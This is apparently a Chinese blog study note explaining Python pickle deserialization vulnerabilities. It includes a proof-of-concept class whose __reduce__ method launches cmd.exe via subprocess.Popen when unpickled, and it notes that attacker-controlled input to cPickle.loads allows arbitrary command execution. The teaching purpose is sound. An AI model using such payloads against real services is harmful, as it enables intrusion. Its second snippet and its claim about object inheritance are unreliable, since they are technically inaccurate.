最近准备研究一下反序列化漏洞,但是Java代码看不懂,所以先找一个python的看起,毕竟这种漏洞在python、php中一样存在,等研究明白了基本原理后去看java的反序列化漏洞。
python反序列化漏洞的本质在于序列化对象的时候,类中自动执行函数的也被序列化,而且在反序列化时候该函数会直接被执行。
1 # -*- coding:utf-8 -*- 2 import subprocess 3 import cPickle 4 5 class Ren(object): 6 name = 1 7 def __reduce__(self): 8 return (subprocess.Popen, (('cmd.exe',),)) 9 10 print "start" 11 ret = cPickle.dumps(Ren()) 12 print repr(ret) 13 #cPickle.loads(ret) 14 print "end"
例如上面这段代码:
执行的结果就是
如果我反序列化一下,那么被序列化的函数将直接执行:
直接shell就被执行了,所以当一个cPickle.loads()的参数是直接由使用者输入的或者可以控制的,那么可以构造一个类似的输入,去触发这个问题。如此甚至可以任意命令执行。
知识点补充
(1)reduce是一个二元操作函数,第一个参数是函数名,第二个参数是第一个函数的参数数据结构。
所以__reduce__就是一个这样的函数:
1 class A(object): 2 a = 1 3 def __reduce__(self): 4 return (print,(a))
如上
(2)当类继承基础类object时候才会把这个函数内容序列化,所以反序列化时候才会导致漏洞。如果没有继承object类,是不对由该问题的。同理cPickle的漏洞Pickle也有。